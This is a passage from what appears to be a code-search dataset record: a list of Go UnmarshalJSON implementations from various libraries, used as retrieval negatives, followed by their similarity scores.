{\\n\\t\\treturn nil\\n\\t}\\n\\treturn json.Unmarshal(j.Raw, output)\\n}\",\n \"func (j *Json) UnmarshalJSON(data []byte) error {\\n\\terr := json.Unmarshal(data, &j.data)\\n\\n\\tj.exists = (err == nil)\\n\\treturn err\\n}\",\n \"func (j *Balance) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (v *UnloadCheckResponse) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson6a975c40DecodeJsonBenchmark(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (v *EventBackForwardCacheNotUsed) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoPage87(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (j *CreateNhAssetOperation) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (v *OneLike) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\tdecodeOneLike(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (j *Data) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (m *Lock) UnmarshalJSON(raw []byte) error {\\n\\n\\tvar aO0 Reference\\n\\tif err := swag.ReadJSON(raw, &aO0); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tm.Reference = aO0\\n\\n\\tvar data struct {\\n\\t\\tCreatedAt strfmt.DateTime `json:\\\"created_at,omitempty\\\"`\\n\\n\\t\\tCreatedBy *UserReference `json:\\\"created_by,omitempty\\\"`\\n\\n\\t\\tExpiredAt strfmt.DateTime `json:\\\"expired_at,omitempty\\\"`\\n\\n\\t\\tIsDownloadPrevented bool `json:\\\"is_download_prevented,omitempty\\\"`\\n\\t}\\n\\tif err := swag.ReadJSON(raw, &data); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tm.CreatedAt = data.CreatedAt\\n\\n\\tm.CreatedBy = data.CreatedBy\\n\\n\\tm.ExpiredAt = data.ExpiredAt\\n\\n\\tm.IsDownloadPrevented = data.IsDownloadPrevented\\n\\n\\treturn nil\\n}\",\n \"func (j *Producer) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (v *Visit) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonE564fc13DecodeGithubComLa0rgHighloadcupModel1(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (j *Json) UnmarshalJSON(b []byte) error {\\n\\tr, err := loadContentWithOptions(b, Options{\\n\\t\\tType: ContentTypeJson,\\n\\t\\tStrNumber: true,\\n\\t})\\n\\tif r != nil {\\n\\t\\t// Value copy.\\n\\t\\t*j = *r\\n\\t}\\n\\treturn err\\n}\",\n \"func (v *Stash) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonD2b7633eDecodeDrhyuComIndexerModels(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (j *WorkerCreateOperation) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (t *BlockTest) UnmarshalJSON(in []byte) error {\\n\\treturn json.Unmarshal(in, &t.Json)\\n}\",\n \"func (j *ThirdParty) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (j *Event) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func UnmarshalFromJSON(data []byte, target interface{}) error {\\n\\tvar ctx map[string]interface{}\\n\\terr := json.Unmarshal(data, &ctx)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn Unmarshal(ctx, target)\\n}\",\n \"func (j *JsonReleaseDate) UnmarshalJSON(b []byte) error {\\n\\ts := strings.Trim(string(b), \\\"\\\\\\\"\\\")\\n\\tt, err := time.Parse(\\\"2006-01-02\\\", s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*j = JsonReleaseDate(t)\\n\\treturn nil\\n}\",\n \"func UnmarshalJSON(data []byte, v interface{}) {\\n\\terr := json.Unmarshal(data, v)\\n\\tAbortIf(err)\\n}\",\n \"func (j *PurgeQueueResponse) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (v *OneUpdateLike) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\tdecodeOneUpdateLike(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (j *Segment) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (j *ModifyAckDeadlineResponse) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (t *Transfer) UnmarshalJSON(data []byte) error {\\n\\tif id, ok := ParseID(data); ok {\\n\\t\\tt.ID = id\\n\\t\\treturn nil\\n\\t}\\n\\n\\ttype transfer Transfer\\n\\tvar v transfer\\n\\tif err := json.Unmarshal(data, &v); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*t = Transfer(v)\\n\\treturn nil\\n}\",\n \"func (v *ShadowStateMetadataSt) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonB7ed31d3DecodeMevericcoreMccommon3(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (w *Entry) UnmarshalJSON(bb []byte) error {\\n\\t<>\\n}\",\n \"func (j *ModifyAckDeadlineRequest) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (j *ModifyQueueResponse) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (j *Publisher) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (v *ShadowStateSt) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonB7ed31d3DecodeMevericcoreMccommon2(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (j *AckMessagesResponse) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (v *ShadowModelSt) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonB7ed31d3DecodeMevericcoreMccommon5(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (volume *Volume) UnmarshalJSON(b []byte) error {\\n\\ttype temp Volume\\n\\ttype links struct {\\n\\t\\tDriveCount int `json:\\\"Drives@odata.count\\\"`\\n\\t\\tDrives common.Links\\n\\t}\\n\\tvar t struct {\\n\\t\\ttemp\\n\\t\\tLinks links\\n\\t}\\n\\n\\terr := json.Unmarshal(b, &t)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*volume = Volume(t.temp)\\n\\n\\t// Extract the links to other entities for later\\n\\tvolume.DrivesCount = t.DrivesCount\\n\\tvolume.drives = t.Links.Drives.ToStrings()\\n\\n\\treturn nil\\n}\",\n \"func (this *Replicas) UnmarshalJSON(b []byte) error {\\n\\treturn CommonUnmarshaler.Unmarshal(bytes.NewReader(b), this)\\n}\",\n \"func (j *MessageReceipt) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (a *ActivityBugCloned) UnmarshalJSON(b []byte) error {\\n\\tvar helper activityBugClonedUnmarshalHelper\\n\\tif err := json.Unmarshal(b, &helper); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*a = ActivityBugCloned(helper.Attributes)\\n\\treturn nil\\n}\",\n \"func (v *ShadowUpdateMsgSt) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonB7ed31d3DecodeMevericcoreMccommon1(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (a *ReloadArgs) UnmarshalJSON(b []byte) error {\\n\\ttype Copy ReloadArgs\\n\\tc := &Copy{}\\n\\terr := json.Unmarshal(b, c)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*a = ReloadArgs(*c)\\n\\treturn nil\\n}\",\n \"func (jf *JsonnetFile) UnmarshalJSON(data []byte) error {\\n\\tvar s jsonFile\\n\\tif err := json.Unmarshal(data, &s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tjf.Dependencies = make(map[string]Dependency)\\n\\tfor _, d := range s.Dependencies {\\n\\t\\tjf.Dependencies[d.Name] = d\\n\\t}\\n\\treturn nil\\n}\",\n \"func (j *qProxyClient) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (a *RemoveScriptToEvaluateOnLoadReply) UnmarshalJSON(b []byte) error {\\n\\ttype Copy RemoveScriptToEvaluateOnLoadReply\\n\\tc := &Copy{}\\n\\terr := json.Unmarshal(b, c)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*a = RemoveScriptToEvaluateOnLoadReply(*c)\\n\\treturn nil\\n}\",\n \"func (t *Transaction) UnmarshalJSON(data []byte) error {\\n\\tproxy := new(proxyTransaction)\\n\\tif err := json.Unmarshal(data, proxy); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*t = *(*Transaction)(unsafe.Pointer(proxy))\\n\\n\\treturn nil\\n}\",\n \"func (v *Raw) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson42239ddeDecodeGithubComKhliengDispatchServer10(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (v *PlantainerShadowSt) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson5bd79fa1DecodeMevericcoreMcplantainer8(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (v *VisitArray) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonE564fc13DecodeGithubComLa0rgHighloadcupModel(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (j *DeleteQueueResponse) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (j *ProposalUpdateOperation) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (j *JSONDate) UnmarshalJSON(b []byte) error {\\n\\ts := strings.Trim(string(b), \\\"\\\\\\\"\\\")\\n\\tif s == \\\"null\\\" {\\n\\t\\treturn nil\\n\\t}\\n\\tt, err := time.Parse(\\\"2006-01-02\\\", s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*j = JSONDate(t)\\n\\treturn nil\\n}\",\n \"func (v *PlantainerShadowStateSt) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson5bd79fa1DecodeMevericcoreMcplantainer3(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (v *TransactionsSinceIDRequest) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonE82c8e88DecodeGithubComKamaiuOandaGoModel(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (v *ShadowStateDeltaSt) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonB7ed31d3DecodeMevericcoreMccommon4(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (a *ActivityBugTriaged) UnmarshalJSON(b []byte) error {\\n\\tvar helper activityBugTriagedUnmarshalHelper\\n\\tif err := json.Unmarshal(b, &helper); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*a = ActivityBugTriaged(helper.Attributes)\\n\\treturn nil\\n}\",\n \"func (j *Regulations) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (tok *Token) UnmarshalJSON(b []byte) error {\\n\\tvar s string\\n\\tif err := json.Unmarshal(b, &s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*tok = Lookup(s)\\n\\treturn nil\\n}\",\n \"func (ts *TransferStatus) UnmarshalJSON(b []byte) error {\\n\\tvar s string\\n\\tif err := json.Unmarshal(b, &s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn ts.Parse(s)\\n}\",\n \"func (v *BackForwardCacheNotRestoredExplanationTree) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoPage101(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (v *Away) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson42239ddeDecodeGithubComKhliengDispatchServer33(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (j *Server) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (j *PurgeQueueRequest) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (v *ExportItem) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonB83d7b77DecodeGoplaygroundMyjson1(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (a *RemoveScriptToEvaluateOnLoadArgs) UnmarshalJSON(b []byte) error {\\n\\ttype Copy RemoveScriptToEvaluateOnLoadArgs\\n\\tc := &Copy{}\\n\\terr := json.Unmarshal(b, c)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*a = RemoveScriptToEvaluateOnLoadArgs(*c)\\n\\treturn nil\\n}\",\n \"func (t *JSONDate) UnmarshalJSON(b []byte) error {\\n\\ts := string(b)\\n\\ts = Stripchars(s, \\\"\\\\\\\"\\\")\\n\\t// x, err := time.Parse(\\\"2006-01-02\\\", s)\\n\\tx, err := StringToDate(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif x.Before(earliestDate) {\\n\\t\\tx = earliestDate\\n\\t}\\n\\t*t = JSONDate(x)\\n\\treturn nil\\n}\",\n \"func (o *ExportDataPartial) UnmarshalJSON(data []byte) error {\\n\\tkv := make(map[string]interface{})\\n\\tif err := json.Unmarshal(data, &kv); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\to.FromMap(kv)\\n\\treturn nil\\n}\",\n \"func (v *ShadowUpdateMsgStateSt) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonB7ed31d3DecodeMevericcoreMccommon(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (a *CloseArgs) UnmarshalJSON(b []byte) error {\\n\\ttype Copy CloseArgs\\n\\tc := &Copy{}\\n\\terr := json.Unmarshal(b, c)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*a = CloseArgs(*c)\\n\\treturn nil\\n}\",\n \"func (b *Bucket) UnmarshalJSON(data []byte) error {\\n\\n\\t// unmarshal as generic json\\n\\tvar jsonData map[string]interface{}\\n\\tif err := json.Unmarshal(data, &jsonData); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// unmarshal as BucketStatus if nodes key exists\\n\\tif _, ok := jsonData[\\\"nodes\\\"]; ok {\\n\\t\\treturn b.unmarshalFromStatus(data)\\n\\t} else {\\n\\n\\t\\t// unmarshal as standard bucket type\\n\\t\\ttype BucketAlias Bucket\\n\\t\\tbucket := BucketAlias{}\\n\\t\\tif err := json.Unmarshal(data, &bucket); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\t*b = Bucket(bucket)\\n\\t\\treturn nil\\n\\t}\\n\\n}\",\n \"func (v *BlitzedItemResponse) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson6a975c40DecodeJsonBenchmark4(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (c *Cycle) UnmarshalJSON(b []byte) error {\\n\\tvar s string\\n\\tif err := json.Unmarshal(b, &s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\ttmp, _ := ParseCycle(s)\\n\\n\\t*c = tmp\\n\\n\\treturn nil\\n}\",\n \"func (v *EventDownloadWillBegin) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoBrowser21(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (s *Client) UnmarshalJSON(data []byte) error {\\n\\tstr := struct {\\n\\t\\tDuration int64 `json:\\\"duration,omitempty\\\"` // Measures the duration of the inbound HTTP request in ms\\n\\t}{}\\n\\n\\tif err := json.Unmarshal(data, &str); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\ts.Duration = time.Millisecond * time.Duration(str.Duration)\\n\\treturn nil\\n}\",\n \"func (j *Message) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (v *BackForwardCacheNotRestoredExplanation) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoPage102(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (j *AckMessagesRequest) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (j *RunPacket) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (j *ForceSettlementOrder) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (j *UnInstallPacket) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (task *Task) UnmarshalJSON(b []byte) error {\\n\\ttype temp Task\\n\\tvar t struct {\\n\\t\\ttemp\\n\\t}\\n\\n\\terr := json.Unmarshal(b, &t)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// Extract the links to other entities for later\\n\\t*task = Task(t.temp)\\n\\n\\treturn nil\\n}\",\n \"func (v *PlantainerShadowMetadataSt) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson5bd79fa1DecodeMevericcoreMcplantainer9(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (j *FF_BidRequest) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (j *RunRespPacket) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (j *QueueId) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (j *JSON) Unmarshal(input, target interface{}) error {\\n\\t// take the input and convert it to target\\n\\treturn jsonEncoding.Unmarshal(input.([]byte), target)\\n}\",\n \"func (a *CloseReply) UnmarshalJSON(b []byte) error {\\n\\ttype Copy CloseReply\\n\\tc := &Copy{}\\n\\terr := json.Unmarshal(b, c)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*a = CloseReply(*c)\\n\\treturn nil\\n}\",\n \"func (j *CreateQueueResponse) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (v *DocumentResponse) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson6a975c40DecodeJsonBenchmark3(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (i *Transform) UnmarshalJSON(data []byte) error {\\n\\tvar s string\\n\\tif err := json.Unmarshal(data, &s); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"Transform should be a string, got %[1]s\\\", data)\\n\\t}\\n\\n\\tvar err error\\n\\t*i, err = ParseTransformString(s)\\n\\treturn err\\n}\",\n \"func (j *Type) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (tt *OpenDate) UnmarshalJSON(data []byte) error {\\n\\tt, err := time.Parse(\\\"\\\\\\\"2006-01-02T15:04:05.9Z\\\\\\\"\\\", string(data))\\n\\t*tt = OpenDate{&t}\\n\\treturn err\\n}\",\n \"func (t *Tag) UnmarshalJSON(dat []byte) error {\\n\\t// get string\\n\\tvar str string\\n\\terr := json.Unmarshal(dat, &str)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// parse tag\\n\\t*t = ParseTag(str)\\n\\n\\treturn nil\\n}\",\n \"func (n *NullStrState) UnmarshalJSON(b []byte) error {\\n\\tn.Set = true\\n\\tvar x interface{}\\n\\terr := json.Unmarshal(b, &x)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\terr = n.Scan(x)\\n\\treturn err\\n}\",\n \"func (j *InstallCancelPacket) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (this *Service) UnmarshalJSON(b []byte) error {\\n\\treturn CommonUnmarshaler.Unmarshal(bytes.NewReader(b), this)\\n}\",\n \"func (a *ApplicationGatewayLoadDistributionTarget) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", a, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"etag\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Etag\\\", &a.Etag)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"id\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"ID\\\", &a.ID)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &a.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"properties\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Properties\\\", &a.Properties)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"type\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Type\\\", &a.Type)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", a, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (b *T) UnmarshalJSON(p []byte) error {\\n\\tb.BloomFilter = new(bloom.BloomFilter)\\n\\treturn json.Unmarshal(p, b.BloomFilter)\\n}\",\n \"func (j *Response) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (j *FailedPublish) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (v *TaskDetail) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonC5a4559bDecodeCommonSystoolbox4(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (m *Raw) UnmarshalJSON(data []byte) error {\\n\\t*m = data\\n\\treturn nil\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.6616514","0.65029615","0.64689016","0.64586544","0.6417514","0.64026624","0.63860905","0.63236845","0.63219887","0.6318377","0.6295715","0.62942415","0.62921244","0.62870646","0.6281974","0.627463","0.62616754","0.6259377","0.6253619","0.6250271","0.6235706","0.6218956","0.6214203","0.6206584","0.61768436","0.61629224","0.61505276","0.61498433","0.61482495","0.61482173","0.6146713","0.6125395","0.61114925","0.6109777","0.6105807","0.60973066","0.6089718","0.608431","0.6084219","0.608281","0.6080805","0.60793227","0.6078963","0.6077525","0.60748374","0.60715914","0.6067572","0.60664684","0.6062253","0.6057705","0.60562676","0.60553926","0.60525095","0.6045245","0.60423404","0.6035787","0.6033499","0.6028307","0.6021627","0.60178125","0.60117","0.60098946","0.6008125","0.60071224","0.60059696","0.6000917","0.6000601","0.5996469","0.5991081","0.59876245","0.5985065","0.5983204","0.5982682","0.598106","0.59794587","0.5976371","0.59738135","0.5973637","0.5973391","0.59716105","0.59708315","0.596078","0.5959755","0.59573716","0.59563917","0.59553117","0.59523416","0.5952012","0.59519005","0.5949707","0.5946617","0.5945074","0.59433883","0.5940558","0.59402996","0.5936874","0.59364694","0.59343547","0.5933358","0.5931437"],"string":"[\n \"0.6616514\",\n \"0.65029615\",\n \"0.64689016\",\n \"0.64586544\",\n \"0.6417514\",\n \"0.64026624\",\n \"0.63860905\",\n \"0.63236845\",\n \"0.63219887\",\n \"0.6318377\",\n \"0.6295715\",\n \"0.62942415\",\n \"0.62921244\",\n \"0.62870646\",\n \"0.6281974\",\n \"0.627463\",\n \"0.62616754\",\n \"0.6259377\",\n \"0.6253619\",\n \"0.6250271\",\n \"0.6235706\",\n \"0.6218956\",\n \"0.6214203\",\n \"0.6206584\",\n \"0.61768436\",\n \"0.61629224\",\n \"0.61505276\",\n \"0.61498433\",\n \"0.61482495\",\n \"0.61482173\",\n \"0.6146713\",\n \"0.6125395\",\n \"0.61114925\",\n \"0.6109777\",\n \"0.6105807\",\n \"0.60973066\",\n \"0.6089718\",\n \"0.608431\",\n \"0.6084219\",\n \"0.608281\",\n \"0.6080805\",\n \"0.60793227\",\n \"0.6078963\",\n \"0.6077525\",\n \"0.60748374\",\n \"0.60715914\",\n \"0.6067572\",\n \"0.60664684\",\n \"0.6062253\",\n \"0.6057705\",\n \"0.60562676\",\n \"0.60553926\",\n \"0.60525095\",\n \"0.6045245\",\n \"0.60423404\",\n \"0.6035787\",\n \"0.6033499\",\n \"0.6028307\",\n \"0.6021627\",\n \"0.60178125\",\n \"0.60117\",\n \"0.60098946\",\n \"0.6008125\",\n \"0.60071224\",\n \"0.60059696\",\n \"0.6000917\",\n \"0.6000601\",\n \"0.5996469\",\n \"0.5991081\",\n \"0.59876245\",\n \"0.5985065\",\n \"0.5983204\",\n \"0.5982682\",\n \"0.598106\",\n \"0.59794587\",\n \"0.5976371\",\n \"0.59738135\",\n \"0.5973637\",\n \"0.5973391\",\n \"0.59716105\",\n \"0.59708315\",\n \"0.596078\",\n \"0.5959755\",\n \"0.59573716\",\n \"0.59563917\",\n \"0.59553117\",\n \"0.59523416\",\n \"0.5952012\",\n \"0.59519005\",\n \"0.5949707\",\n \"0.5946617\",\n \"0.5945074\",\n \"0.59433883\",\n \"0.5940558\",\n \"0.59402996\",\n \"0.5936874\",\n \"0.59364694\",\n \"0.59343547\",\n \"0.5933358\",\n 